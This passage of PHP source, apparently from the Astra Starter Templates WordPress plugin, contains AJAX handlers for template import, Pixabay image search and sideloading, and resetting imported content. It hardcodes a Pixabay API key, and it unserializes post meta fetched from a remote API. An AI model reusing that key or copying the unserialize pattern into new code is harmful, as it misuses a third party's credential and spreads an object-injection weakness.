isset( $_POST['id'] ) ? absint( $_POST['id'] ) : ''; $type = isset( $_POST['type'] ) ? sanitize_text_field( $_POST['type'] ) : ''; $demo_data = get_option( 'astra_sites_import_elementor_data_' . $id, array() ); if ( 'astra-blocks' == $type ) { $url = trailingslashit( self::get_instance()->get_api_domain() ) . 'wp-json/wp/v2/' . $type . '/' . $id; } else { $url = $demo_data['astra-page-api-url']; } $api_url = add_query_arg( array( 'site_url' => site_url(), 'version' => ASTRA_SITES_VER, ), $url ); if ( ! astra_sites_is_valid_url( $api_url ) ) { wp_send_json_error( __( 'Invalid API URL.', 'astra-sites' ) ); } $response = wp_remote_get( $api_url ); if ( is_wp_error( $response ) || 200 !== $response['response']['code'] ) { wp_send_json_error( wp_remote_retrieve_body( $response ) ); } $body = wp_remote_retrieve_body( $response ); $data = json_decode( $body, true ); if ( empty( $data ) ) { wp_send_json_error( 'Empty page data.' ); } $content = isset( $data['content']['rendered'] ) ? $data['content']['rendered'] : ''; $page_id = isset( $data['id'] ) ? sanitize_text_field( $data['id'] ) : ''; $title = ''; $rendered_title = isset( $data['title']['rendered'] ) ? sanitize_text_field( $data['title']['rendered'] ) : ''; if ( isset( $rendered_title ) ) { $title = ( isset( $_POST['title'] ) && '' !== $_POST['title'] ) ? sanitize_text_field( $_POST['title'] ) . ' - ' . $rendered_title : $rendered_title; } $excerpt = isset( $data['excerpt']['rendered'] ) ? sanitize_text_field( $data['excerpt']['rendered'] ) : ''; $post_args = array( 'post_type' => 'elementor_library', 'post_status' => 'publish', 'post_title' => $title, 'post_content' => $content, 'post_excerpt' => $excerpt, ); $new_page_id = wp_insert_post( $post_args ); update_post_meta( $new_page_id, '_astra_sites_enable_for_batch', true ); $post_meta = isset( $data['post-meta'] ) ? $data['post-meta'] : array(); if ( ! empty( $post_meta ) ) { $this->import_template_meta( $new_page_id, $post_meta ); } $term_value = ( 'pages' === $type ) ? 'page' : 'section'; update_post_meta( $new_page_id, '_elementor_template_type', $term_value ); wp_set_object_terms( $new_page_id, $term_value, 'elementor_library_type' ); update_post_meta( $new_page_id, '_wp_page_template', 'elementor_header_footer' ); do_action( 'astra_sites_process_single', $new_page_id ); // Flush the object when import is successful. delete_option( 'astra_sites_import_elementor_data_' . $id ); wp_send_json_success( array( 'remove-page-id' => $page_id, 'id' => $new_page_id, 'link' => get_permalink( $new_page_id ), ) ); } /** * Search Images. * * @since 2.7.3. */ public function search_images() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'upload_files' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } $params = isset( $_POST['params'] ) ? array_map( 'sanitize_text_field', $_POST['params'] ) : array(); $params['key'] = $this->pixabay_api_key; $api_url = add_query_arg( $params, $this->pixabay_url ); $response = wp_remote_get( $api_url ); if ( is_wp_error( $response ) ) { wp_send_json_error( wp_remote_retrieve_body( $response ) ); } $body = wp_remote_retrieve_body( $response ); $data = json_decode( $body, true ); wp_send_json_success( $data ); } /** * Download and save the image in the media library. * * @since 2.0.0 */ public function create_image() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'upload_files' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } $url = isset( $_POST['url'] ) ? sanitize_url( $_POST['url'] ) : false; // phpcs:ignore -- We need to remove this ignore once the WPCS has released this issue fix - https://github.com/WordPress/WordPress-Coding-Standards/issues/2189. $name = isset( $_POST['name'] ) ? sanitize_text_field( $_POST['name'] ) : false; $photo_id = isset( $_POST['id'] ) ? absint( sanitize_key( $_POST['id'] ) ) : 0; if ( false === $url ) { wp_send_json_error( __( 'Need to send URL of the image to be downloaded', 'astra-sites' ) ); } $image = ''; $result = array(); $name = preg_replace( '/\.[^.]+$/', '', $name ) . '-' . $photo_id . '.jpg'; $image = $this->create_image_from_url( $url, $name, $photo_id ); if ( is_wp_error( $image ) ) { wp_send_json_error( $image ); } if ( 0 !== $image ) { $result['attachmentData'] = wp_prepare_attachment_for_js( $image ); if ( did_action( 'elementor/loaded' ) ) { $result['data'] = Astra_Sites_Elementor_Images::get_instance()->get_attachment_data( $image ); } if ( 0 === $photo_id ) { /** * This flag ensures these files are deleted in the Reset Process. */ update_post_meta( $image, '_astra_sites_imported_post', true ); } } else { wp_send_json_error( __( 'Could not download the image.', 'astra-sites' ) ); } // Save downloaded image reference to an option. if ( 0 !== $photo_id ) { $saved_images = get_option( 'astra-sites-saved-images', array() ); if ( empty( $saved_images ) || false === $saved_images ) { $saved_images = array(); } $saved_images[] = $photo_id; update_option( 'astra-sites-saved-images', $saved_images, 'no' ); } $result['updated-saved-images'] = get_option( 'astra-sites-saved-images', array() ); wp_send_json_success( $result ); } /** * Set the upload directory */ public function get_wp_upload_url() { $wp_upload_dir = wp_upload_dir(); return isset( $wp_upload_dir['url'] ) ? $wp_upload_dir['url'] : false; } /** * Create the image and return the new media upload id. * * @param String $url URL to pixabay image. * @param String $name Name to pixabay image. * @param String $photo_id Photo ID to pixabay image. * @see http://codex.wordpress.org/Function_Reference/wp_insert_attachment#Example */ public function create_image_from_url( $url, $name, $photo_id ) { $file_array = array(); $file_array['name'] = wp_basename( $name ); // Download file to temp location. $file_array['tmp_name'] = download_url( $url ); // If error storing temporarily, return the error. if ( is_wp_error( $file_array['tmp_name'] ) ) { return $file_array; } // Do the validation and storage stuff. $id = media_handle_sideload( $file_array, 0, null ); // If error storing permanently, unlink. if ( is_wp_error( $id ) ) { @unlink( $file_array['tmp_name'] ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged, WordPressVIPMinimum.Functions.RestrictedFunctions.file_ops_unlink -- Deleting the file from temp location. return $id; } // Store the original attachment source in meta. add_post_meta( $id, '_source_url', $url ); update_post_meta( $id, 'astra-images', $photo_id ); update_post_meta( $id, '_wp_attachment_image_alt', $name ); return $id; } /** * Import Post Meta * * @since 2.0.0 * * @param integer $post_id Post ID. * @param array $metadata Post meta. * @return void */ public function import_post_meta( $post_id, $metadata ) { $metadata = (array) $metadata; foreach ( $metadata as $meta_key => $meta_value ) { if ( $meta_value ) { if ( '_elementor_data' === $meta_key ) { $raw_data = json_decode( stripslashes( $meta_value ), true ); if ( is_array( $raw_data ) ) { $raw_data = wp_slash( wp_json_encode( $raw_data ) ); } else { $raw_data = wp_slash( $raw_data ); } } else { if ( is_serialized( $meta_value, true ) ) { $raw_data = maybe_unserialize( stripslashes( $meta_value ) ); } elseif ( is_array( $meta_value ) ) { $raw_data = json_decode( stripslashes( $meta_value ), true ); } else { $raw_data = $meta_value; } } update_post_meta( $post_id, $meta_key, $raw_data ); } } } /** * Import Post Meta * * @since 2.0.0 * * @param integer $post_id Post ID. * @param array $metadata Post meta. * @return void */ public function import_template_meta( $post_id, $metadata ) { $metadata = (array) $metadata; foreach ( $metadata as $meta_key => $meta_value ) { if ( $meta_value ) { if ( '_elementor_data' === $meta_key ) { $raw_data = json_decode( stripslashes( $meta_value ), true ); if ( is_array( $raw_data ) ) { $raw_data = wp_slash( wp_json_encode( $raw_data ) ); } else { $raw_data = wp_slash( $raw_data ); } } else { if ( is_serialized( $meta_value, true ) ) { $raw_data = maybe_unserialize( stripslashes( $meta_value ) ); } elseif ( is_array( $meta_value ) ) { $raw_data = json_decode( stripslashes( $meta_value ), true ); } else { $raw_data = $meta_value; } } update_post_meta( $post_id, $meta_key, $raw_data ); } } } /** * Close getting started notice for current user * * @since 1.3.5 * @return void */ public function getting_started_notice() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } update_option( '_astra_sites_gettings_started', 'yes', 'no' ); wp_send_json_success(); } /** * Activate theme * * @since 1.3.2 * @return void */ public function activate_theme() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } Astra_Sites_Error_Handler::get_instance()->start_error_handler(); switch_theme( 'astra' ); Astra_Sites_Error_Handler::get_instance()->stop_error_handler(); wp_send_json_success( array( 'success' => true, 'message' => __( 'Theme Activated', 'astra-sites' ), ) ); } /** * Reset terms and forms. * * @since 3.0.3 */ public function reset_terms_and_forms() { if ( wp_doing_ajax() ) { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } Astra_Sites_Error_Handler::get_instance()->start_error_handler(); $terms = astra_sites_get_reset_term_data(); if ( ! empty( $terms ) ) { foreach ( $terms as $key => $term_id ) { $term_id = absint( $term_id ); if ( $term_id ) { $term = get_term( $term_id ); if ( ! is_wp_error( $term ) && ! empty( $term ) && is_object( $term ) ) { do_action( 'astra_sites_before_delete_imported_terms', $term_id, $term ); $message = 'Deleted - Term ' . $term_id . ' - ' . $term->name . ' ' . $term->taxonomy; Astra_Sites_Importer_Log::add( $message ); wp_delete_term( $term_id, $term->taxonomy ); } } } } $forms = astra_sites_get_reset_form_data(); if ( ! empty( $forms ) ) { foreach ( $forms as $key => $post_id ) { $post_id = absint( $post_id ); if ( $post_id ) { do_action( 'astra_sites_before_delete_imported_wp_forms', $post_id ); $message = 'Deleted - Form ID ' . $post_id . ' - ' . get_post_type( $post_id ) . ' - ' . get_the_title( $post_id ); Astra_Sites_Importer_Log::add( $message ); wp_delete_post( $post_id, true ); } } } Astra_Sites_Error_Handler::get_instance()->stop_error_handler(); if ( wp_doing_ajax() ) { wp_send_json_success(); } } /** * Reset posts in chunks. * * @since 3.0.8 */ public function reset_posts() { if ( wp_doing_ajax() ) { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } Astra_Sites_Error_Handler::get_instance()->start_error_handler(); // Suspend bunches of stuff in WP core. wp_defer_term_counting( true ); wp_defer_comment_counting( true ); wp_suspend_cache_invalidation( true ); $all_ids = ( isset( $_POST['ids'] ) ) ? sanitize_text_field( $_POST['ids'] ) : ''; $posts = json_decode( stripslashes( sanitize_text_field( $_POST['ids'] ) ), true ); if ( ! empty( $posts ) ) { foreach ( $posts as $key => $post_id ) { $post_id = absint( $post_id ); if ( $post_id ) { $post_type = get_post_type( $post_id ); $message = 'Deleted - Post ID ' . $post_id . ' - ' . $post_type . ' - ' . get_the_title( $post_id ); do_action( 'astra_sites_before_delete_imported_posts', $post_id, $post_type ); Astra_Sites_Importer_Log::add( $message ); wp_delete_post( $post_id, true ); } } } // Re-enable stuff in core. wp_suspend_cache_invalidation( false ); wp_cache_flush(); foreach ( get_taxonomies() as $tax ) { delete_option( "{$tax}_children" ); _get_term_hierarchy( $tax ); } wp_defer_term_counting( false ); wp_defer_comment_counting( false ); Astra_Sites_Error_Handler::get_instance()->stop_error_handler(); if ( wp_doing_ajax() ) { wp_send_json_success(); } } /** * Get post IDs to be deleted. */ public function get_deleted_post_ids() { if ( wp_doing_ajax() ) { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } wp_send_json_success( astra_sites_get_reset_post_data() ); } /** * Set reset data * Note: This function can be deleted after a few releases since we are performing the delete operation in chunks. */ public function get_reset_data() { if ( wp_doing_ajax() ) { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } Astra_Sites_Error_Handler::get_instance()->start_error_handler(); $data = array( 'reset_posts' => astra_sites_get_reset_post_data(), 'reset_wp_forms' => astra_sites_get_reset_form_data(), 'reset_terms' => astra_sites_get_reset_term_data(), ); Astra_Sites_Error_Handler::get_instance()->stop_error_handler(); if ( wp_doing_ajax() ) { wp_send_json_success( $data ); } return $data; } /** * Backup our existing settings. */ public function backup_settings() { if ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( __( 'User does not have permission!', 'astra-sites' ) ); } } $file_name = 'astra-sites-backup-' . gmdate( 'd-M-Y-h-i-s' ) . '.json'; $old_settings = get_option( 'astra-settings', array() ); $upload_dir = Astra_Sites_Importer_Log::get_instance()->log_dir(); $upload_path = trailingslashit( $upload_dir['path'] ); $log_file = $upload_path . $file_name; $file_system = self::get_instance()->get_filesystem(); // If file system fails? Then take a backup in site option. if ( false === $file_system->put_contents( $log_file, wp_json_encode( $old_settings ), FS_CHMOD_FILE ) ) { update_option( 'astra_sites_' . $file_name, $old_settings, 'no' ); } if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'File generated at ' . $log_file ); } elseif ( wp_doing_ajax() ) { wp_send_json_success(); } } /** * Get theme install, active or inactive status. * * @since 1.3.2 * * @return string Theme status */ public function get_theme_status() { $theme = wp_get_theme(); // Theme installed and activate. if ( 'Astra' === $theme->name || 'Astra' === $theme->parent_theme ) { return 'installed-and-active'; } // Theme installed but not activate. foreach ( (array) wp_get_themes() as $theme_dir => $theme ) { if ( 'Astra' === $theme->name || 'Astra' === $theme->parent_theme ) { return 'installed-but-inactive'; } } return 'not-installed'; } /** * Loads textdomain for the plugin. * * @since 1.0.1 */ public function load_textdomain() { load_plugin_textdomain( 'astra-sites' ); } /** * Show action links on the plugin screen. * * @param mixed $links Plugin Action links. * @return array */ public function action_links( $links ) { $arguments = array( 'page' => 'starter-templates', ); $url = add_query_arg( $arguments, admin_url( 'themes.php' ) ); $action_links = array( 'settings' => '<a href="' . esc_url( $url ) . '" aria-label="' . esc_attr__( 'See Library', 'astra-sites' ) . '">' . esc_html__( 'See Library', 'astra-sites' ) . '</a>', ); return array_merge( $action_links, $links ); } /** * Get the API URL. * * @since 1.0.0 */ public static function get_api_domain() { return defined( 'STARTER_TEMPLATES_REMOTE_URL' ) ? STARTER_TEMPLATES_REMOTE_URL : apply_filters( 'astra_sites_api_domain', 'https://websitedemos.net/' ); } /** * Setter for $api_url * * @since 1.0.0 */ public function set_api_url() { $this->api_domain = trailingslashit( self::get_api_domain() ); $this->api_url = apply_filters( 'astra_sites_api_url', $this->api_domain . 'wp-json/wp/v2/' ); $this->search_analytics_url = apply_filters( 'astra_sites_search_api_url', $this->api_domain . 'wp-json/analytics/v2/search/' ); $this->import_analytics_url = apply_filters( 'astra_sites_import_analytics_api_url', $this->api_domain . 'wp-json/analytics/v2/import/' ); $this->pixabay_url = 'https://pixabay.com/api/'; $this->pixabay_api_key = '2727911-c4d7c1031949c7e0411d7e81e'; } /** * Enqueue Image Search scripts. * * @since 2.0.0 * @return void */ public function image_search_assets() { wp_enqueue_script( 'masonry' ); wp_enqueue_script( 'imagesloaded' ); wp_enqueue_script( 'astra-sites-images-common', ASTRA_SITES_URI . 'inc/assets/js/common.js', array( 'jquery', 'wp-util' ), // Dependencies, defined above. ASTRA_SITES_VER, true ); $data = apply_filters( 'astra_sites_images_common', array( 'ajaxurl' => esc_url( admin_url( 'admin-ajax.php' ) ), 'asyncurl' => esc_url( admin_url( 'async-upload.php' ) ), 'is_bb_active' => ( class_exists( 'FLBuilderModel' ) ), 'is_brizy_active' => ( class_exists( 'Brizy_Editor_Post' ) ), 'is_elementor_active' => ( did_action( 'elementor/loaded' ) ), 'is_elementor_editor' => ( did_action( 'elementor/loaded' ) ) ? Elementor\Plugin::instance()->editor->is_edit_mode() : false, 'is_bb_editor' => ( class_exists( 'FLBuilderModel' ) ) ? ( FLBuilderModel::is_builder_active() ) : false, 'is_brizy_editor' => ( class_exists( 'Brizy_Editor_Post' ) ) ? ( isset( $_GET['brizy-edit'] ) || isset( $_GET['brizy-edit-iframe'] ) ) : false, // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Fetching GET parameter, no nonce associated with this action. 'saved_images' => get_option( 'astra-sites-saved-images', array() ), 'pixabay_category' => array( 'all' => __( 'All', 'astra-sites' ), 'animals' => __( 'Animals', 'astra-sites' ), 'buildings' => __( 'Architecture/Buildings', 'astra-sites' ), 'backgrounds' => __( 'Backgrounds/Textures', 'astra-sites' ), 'fashion' => __( 'Beauty/Fashion', 'astra-sites' ), 'business' => __( 'Business/Finance', 'astra-sites' ), 'computer' => __( 'Computer/Communication', 'astra-sites' ), 'education' => __( 'Education', 'astra-sites' ), 'feelings' => __( 'Emotions', 'astra-sites' ), 'food' => __( 'Food/Drink', 'astra-sites' ), 'health' => __( 'Health/Medical', 'astra-sites' ), 'industry' => __( 'Industry/Craft', 'astra-sites' ), 'music' => __( 'Music', 'astra-sites' ), 'nature' => __( 'Nature/Landscapes', 'astra-sites' ), 'people' => __( 'People', 'astra-sites' ), 'places' => __( 'Places/Monuments', 'astra-sites' ), 'religion' => __( 'Religion', 'astra-sites' ), 'science' => __( 'Science/Technology', 'astra-sites' ), 'sports' => __( 'Sports', 'astra-sites' ), 'transportation' => __( 'Transportation/Traffic', 'astra-sites' ), 'travel' => __( 'Travel/Vacation', 'astra-sites' ), ), 'pixabay_order' => array( 'popular' => __( 'Popular', 'astra-sites' ), 'latest' => __( 'Latest', 'astra-sites' ), 'upcoming' => __( 'Upcoming', 'astra-sites' ), 'ec' => __( 'Editor\'s Choice', 'astra-sites' ), ), 'pixabay_orientation' => array( 'any' => __( 'Any Orientation', 'astra-sites' ), 'vertical' => __( 'Vertical', 'astra-sites' ), 'horizontal' => __( 'Horizontal', 'astra-sites' ), ), 'title' => __( 'Free Images', 'astra-sites' ), 'search_placeholder' => __( 'Search - Ex: flowers', 'astra-sites' ), 'downloading' => __( 'Downloading...', 'astra-sites' ), 'validating' => __( 'Validating...', 'astra-sites' ), 'empty_api_key' => __( 'Please enter an API key.', 'astra-sites' ), 'error_api_key' => __( 'An error occured with code ', 'astra-sites' ), '_ajax_nonce' => wp_create_nonce( 'astra-sites' ), ) ); wp_localize_script( 'astra-sites-images-common', 'astraImages', $data ); wp_enqueue_script( 'astra-sites-images-script', ASTRA_SITES_URI . 'inc/assets/js/dist/main.js', array( 'wp-blocks', 'wp-i18n', 'wp-element', 'wp-components', 'wp-api-fetch', 'astra-sites-images-common' ), // Dependencies, defined above. ASTRA_SITES_VER, true ); wp_enqueue_style( 'astra-sites-images', ASTRA_SITES_URI . 'inc/assets/css/images.css', ASTRA_SITES_VER, true ); wp_style_add_data( 'astra-sites-images', 'rtl', 'replace' ); } /** * Getter for $api_url * * @since 1.0.0 */ public function get_api_url() { return $this->api_url; } /** * Enqueue admin scripts. * * @since 1.3.2 Added 'install-theme.js' to install and activate theme. * @since 1.0.5 Added 'getUpgradeText' and 'getUpgradeURL' localize variables. * * @since 1.0.0 * * @param string $hook Current hook name. * @return void */ public function admin_enqueue( $hook = '' ) { // Image Search assets. if ( 'post-new.php' === $hook || 'post.php' === $hook || 'widgets.php' === $hook ) { $this->image_search_assets(); } // Avoid scripts from customizer. if ( is_customize_preview() ) { return; } wp_enqueue_script( 'astra-sites-install-theme', ASTRA_SITES_URI . 'inc/assets/js/install-theme.js', array( 'jquery', 'updates' ), ASTRA_SITES_VER, true ); $data = apply_filters( 'astra_sites_install_theme_localize_vars', array( 'installed' => __( 'Installed! Activating..', 'astra-sites' ), 'activating' => __( 'Activating...', 'astra-sites' ), 'activated' => __( 'Activated!', 'astra-sites' ), 'installing' => __( 'Installing...', 'astra-sites' ), 'ajaxurl' => esc_url( admin_url( 'admin-ajax.php' ) ), '_ajax_nonce' => wp_create_nonce( 'astra-sites' ), ) ); wp_localize_script( 'astra-sites-install-theme', 'AstraSitesInstallThemeVars', $data ); if ( 'appearance_page_starter-templates' !== $hook ) { return; } global $is_IE, $is_edge; if ( $is_IE || $is_edge ) { wp_enqueue_script( 'astra-sites-eventsource', ASTRA_SITES_URI . 'inc/assets/js/eventsource.min.js', array( 'jquery', 'wp-util', 'updates' ), ASTRA_SITES_VER, true ); } // Fetch. wp_register_script( 'astra-sites-fetch', ASTRA_SITES_URI . 'inc/assets/js/fetch.umd.js', array( 'jquery' ), ASTRA_SITES_VER, true ); // History. wp_register_script( 'astra-sites-history', ASTRA_SITES_URI . 'inc/assets/js/history.js', array( 'jquery' ), ASTRA_SITES_VER, true ); // Admin Page. wp_enqueue_style( 'astra-sites-admin', ASTRA_SITES_URI . 'inc/assets/css/admin.css', ASTRA_SITES_VER, true ); wp_style_add_data( 'astra-sites-admin', 'rtl', 'replace' ); $data = $this->get_local_vars(); } /** * Get CTA link * * @param string $source The source of the link. * @param string $medium The medium of the link. * @param string $campaign The campaign of the link. * @return array */ public function get_cta_link( $source = '', $medium = '', $campaign = '' ) { $default_page_builder = Astra_Sites_Page::get_instance()->get_setting( 'page_builder' ); $cta_links = $this->get_cta_links( $source, $medium, $campaign ); return isset( $cta_links[ $default_page_builder ] ) ? $cta_links[ $default_page_builder ] : 'https://wpastra.com/starter-templates-plans/?utm_source=StarterTemplatesPlugin&utm_campaign=WPAdmin'; } /** * Get CTA Links * * @since 2.6.18 * * @param string $source The source of the link. * @param string $medium The medium of the link. * @param string $campaign The campaign of the link. * @return array */ public function get_cta_links( $source = '', $medium = '', $campaign = '' ) { return array( 'elementor' => add_query_arg( array( 'utm_source' => ! empty( $source ) ? $source : 'elementor-templates', 'utm_medium' => 'dashboard', 'utm_campaign' => 'Starter-Template-Backend', ), 'https://wpastra.com/elementor-starter-templates/' ), 'beaver-builder' => add_query_arg( array( 'utm_source' => ! empty( $source ) ? $source : 'beaver-templates', 'utm_medium' => 'dashboard', 'utm_campaign' => 'Starter-Template-Backend', ), 'https://wpastra.com/beaver-builder-starter-templates/' ), 'gutenberg' => add_query_arg( array( 'utm_source' => ! empty( $source ) ? $source : 'gutenberg-templates', 'utm_medium' => 'dashboard', 'utm_campaign' => 'Starter-Template-Backend', ), 'https://wpastra.com/starter-templates-plans/' ), 'brizy' => add_query_arg( array( 'utm_source' => ! empty( $source ) ? $source : 'brizy-templates', 'utm_medium' => 'dashboard', 'utm_campaign' => 'Starter-Template-Backend', ), 'https://wpastra.com/starter-templates-plans/' ), ); } /** * Returns Localization Variables. * * @since 2.0.0 */ public function get_local_vars() { $stored_data = array( 'astra-sites-site-category' => array(), 'astra-site-page-builder' => array(), 'astra-sites' => array(), 'site-pages-category' => array(), 'site-pages-page-builder' => array(), 'site-pages-parent-category' => array(), 'site-pages' => array(), 'favorites' => get_option( 'astra-sites-favorites' ), ); $favorite_data = get_option( 'astra-sites-favorites' ); $license_status = false; if ( is_callable( 'BSF_License_Manager::bsf_is_active_license' ) ) { $license_status = BSF_License_Manager::bsf_is_active_license( 'astra-pro-sites' ); } $default_page_builder = Astra_Sites_Page::get_instance()->get_setting( 'page_builder' ); $data = apply_filters( 'astra_sites_localize_vars', array( 'subscribed' => get_user_meta( get_current_user_ID(), 'astra-sites-subscribed', true ), 'debug' => defined( 'WP_DEBUG' ) ? true : false, 'isPro' => defined( 'ASTRA_PRO_SITES_NAME' ) ? true : false, 'isWhiteLabeled' => Astra_Sites_White_Label::get_instance()->is_white_labeled(), 'whiteLabelName' => Astra_Sites_White_Label::get_instance()->get_white_label_name(), 'whiteLabelUrl' => Astra_Sites_White_Label::get_instance()->get_white_label_link( '#' ), 'ajaxurl' => esc_url( admin_url( 'admin-ajax.php' ) ), 'siteURL' => site_url(), 'getProText' => __( 'Get Access!', 'astra-sites' ), 'getProURL' => esc_url( 'https://wpastra.com/starter-templates-plans/?utm_source=demo-import-panel&utm_campaign=astra-sites&utm_medium=wp-dashboard' ), 'getUpgradeText' => __( 'Upgrade', 'astra-sites' ), 'getUpgradeURL' => esc_url( 'https://wpastra.com/starter-templates-plans/?utm_source=demo-import-panel&utm_campaign=astra-sites&utm_medium=wp-dashboard' ), '_ajax_nonce' => wp_create_nonce( 'astra-sites' ), 'requiredPlugins' => array(), 'syncLibraryStart' => '<span class="message">' . esc_html__( 'Syncing template library in the background. The process can take anywhere between 2 to 3 minutes. We will notify you once done.', 'astra-sites' ) . '</span>', 'xmlRequiredFilesMissing' => __( 'Some of the files required during the import process are missing.<br/><br/>Please try again after some time.', 'astra-sites' ), 'importFailedMessageDueToDebug' => __( '<p>WordPress debug mode is currently enabled on your website. This has interrupted the import process..</p><p>Kindly disable debug mode and try importing Starter Template again.</p><p>You can add the following code into the wp-config.php file to disable debug mode.</p><p><code>define(\'WP_DEBUG\', false);</code></p>', 'astra-sites' ), /* translators: %s is a documentation link. */ 'importFailedMessage' => sprintf( __( '<p>We are facing a temporary issue in importing this template.</p><p>Read <a href="%s" target="_blank">article</a> to resolve the issue and continue importing template.</p>', 'astra-sites' ), esc_url( 'https://wpastra.com/docs/fix-starter-template-importing-issues/' ) ), /* translators: %s is a documentation link. */ 'importFailedRequiredPluginsMessage' => sprintf( __( '<p>We are facing a temporary issue in installing the required plugins for this template.</p><p>Read <a href="%s" target="_blank">article</a> to resolve the issue and continue importing template.</p>', 'astra-sites' ), esc_url( 'https://wpastra.com/docs/plugin-installation-failed-multisite/' ) ), 'strings' => array( /* translators: %s are white label strings. */ 'warningBeforeCloseWindow' => sprintf( __( 'Warning! %1$s Import process is not complete. Don\'t close the window until import process complete. Do you still want to leave the window?', 'astra-sites' ), Astra_Sites_White_Label::get_instance()->get_white_label_name() ), 'viewSite' => __( 'Done! View Site', 'astra-sites' ), 'syncCompleteMessage' => self::get_instance()->get_sync_complete_message(), /* translators: %s is a template name */ 'importSingleTemplate' => __( 'Import "%s" Template', 'astra-sites' ), ), 'log' => array( 'bulkInstall' => __( 'Installing Required Plugins..', 'astra-sites' ), /* translators: %s are white label strings. */ 'themeInstall' => sprintf( __( 'Installing %1$s Theme..', 'astra-sites' ), Astra_Sites_White_Label::get_instance()->get_option( 'astra', 'name', 'Astra' ) ), ), 'default_page_builder' => $default_page_builder, 'default_page_builder_data' => Astra_Sites_Page::get_instance()->get_default_page_builder(), 'default_page_builder_sites' => Astra_Sites_Page::get_instance()->get_sites_by_page_builder( $default_page_builder ), 'sites' => astra_sites_get_api_params(), 'categories' => array(), 'page-builders' => array(), 'all_sites' => $this->get_all_sites(), 'all_site_categories' => get_option( 'astra-sites-all-site-categories', array() ), 'all_site_categories_and_tags' => get_option( 'astra-sites-all-site-categories-and-tags', array() ), 'license_status' => $license_status, 'license_page_builder' => get_option( 'astra-sites-license-page-builder', '' ), 'ApiDomain' => $this->api_domain, 'ApiURL' => $this->api_url, 'stored_data' => $stored_data, 'favorite_data' => $favorite_data, 'category_slug' => 'astra-sites-site-category', 'page_builder' => 'astra-site-page-builder', 'cpt_slug' => 'astra-sites', 'parent_category' => '', 'compatibilities' => $this->get_compatibilities(), 'compatibilities_data' => $this->get_compatibilities_data(), 'dismiss' => __( 'Dismiss this notice.', 'astra-sites' ), 'headings' => array( 'subscription' => esc_html__( 'One Last Step..', 'astra-sites' ), 'site_import' => esc_html__( 'Your Selected Website is Being Imported.', 'astra-sites' ), 'page_import' => esc_html__( 'Your Selected Template is Being Imported.', 'astra-sites' ), ), 'subscriptionSuccessMessage' => esc_html__( 'We have sent you a surprise gift on your email address! Please check your inbox!', 'astra-sites' ), 'first_import_complete' => get_option( 'astra_sites_import_complete' ), 'server_import_primary_error' => __( 'Looks like the template you are importing is temporarily not available.', 'astra-sites' ), 'client_import_primary_error' => __( 'We could not start the import process and this is the message from WordPress:', 'astra-sites' ), 'cloudflare_import_primary_error' => __( 'There was an error connecting to the Starter Templates API.', 'astra-sites' ), 'xml_import_interrupted_primary' => __( 'There was an error while importing the content.', 'astra-sites' ), 'xml_import_interrupted_secondary' => __( 'To import content, WordPress needs to store XML file in /wp-content/ folder. Please get in touch with your hosting provider.', 'astra-sites' ), 'xml_import_interrupted_error' => __( 'Looks like your host probably could not store XML file in /wp-content/ folder.', 'astra-sites' ), /* translators: %s HTML tags */ 'ajax_request_failed_primary' => sprintf( __( '%1$sWe could not start the import process due to failed AJAX request and this is the message from WordPress:%2$s', 'astra-sites' ), '<p>', '</p>' ), /* translators: %s URL to document. */ 'ajax_request_failed_secondary' => sprintf( __( '%1$sRead <a href="%2$s" target="_blank">article</a> to resolve the issue and continue importing template.%3$s', 'astra-sites' ), '<p>', esc_url( 'https://wpastra.com/docs/internal-server-error-starter-templates/' ), '</p>' ), 'cta_links' => $this->get_cta_links(), 'cta_quick_corner_links' => $this->get_cta_links( 'quick-links-corner' ), 'cta_premium_popup_links' => $this->get_cta_links( 'get-premium-access-popup' ), 'cta_link' => $this->get_cta_link(), 'cta_quick_corner_link' => $this->get_cta_link( 'quick-links-corner' ), 'cta_premium_popup_link' => $this->get_cta_link( 'get-premium-access-popup' ), /* translators: %s URL to document. */ 'process_failed_primary' => sprintf( __( '%1$sWe could not complete the import process due to failed AJAX request and this is the message:%2$s', 'astra-sites' ), '<p>', '</p>' ), /* translators: %s URL to document. */ 'process_failed_secondary' => sprintf( __( '%1$sPlease report this <a href="%2$s" target="_blank">here</a>.%3$s', 'astra-sites' ), '<p>', esc_url( 'https://wpastra.com/starter-templates-support/?url=#DEMO_URL#&subject=#SUBJECT#' ), '</p>' ), 'st_page_url' => admin_url( 'themes.php?page=starter-templates' ), 'staging_connected' => apply_filters( 'astra_sites_staging_connected', '' ), 'isRTLEnabled' => is_rtl(), /* translators: %s Anchor link to support URL. */ 'support_text' => sprintf( __( 'Please report this error %1$shere%2$s, so we can fix it.', 'astra-sites' ), '<a href="https://wpastra.com/support/open-a-ticket/" target="_blank">', '</a>' ), ) ); return $data; } /** * Display subscription form * * @since 2.6.1 * * @return boolean */ public function should_display_subscription_form() { $subscription = 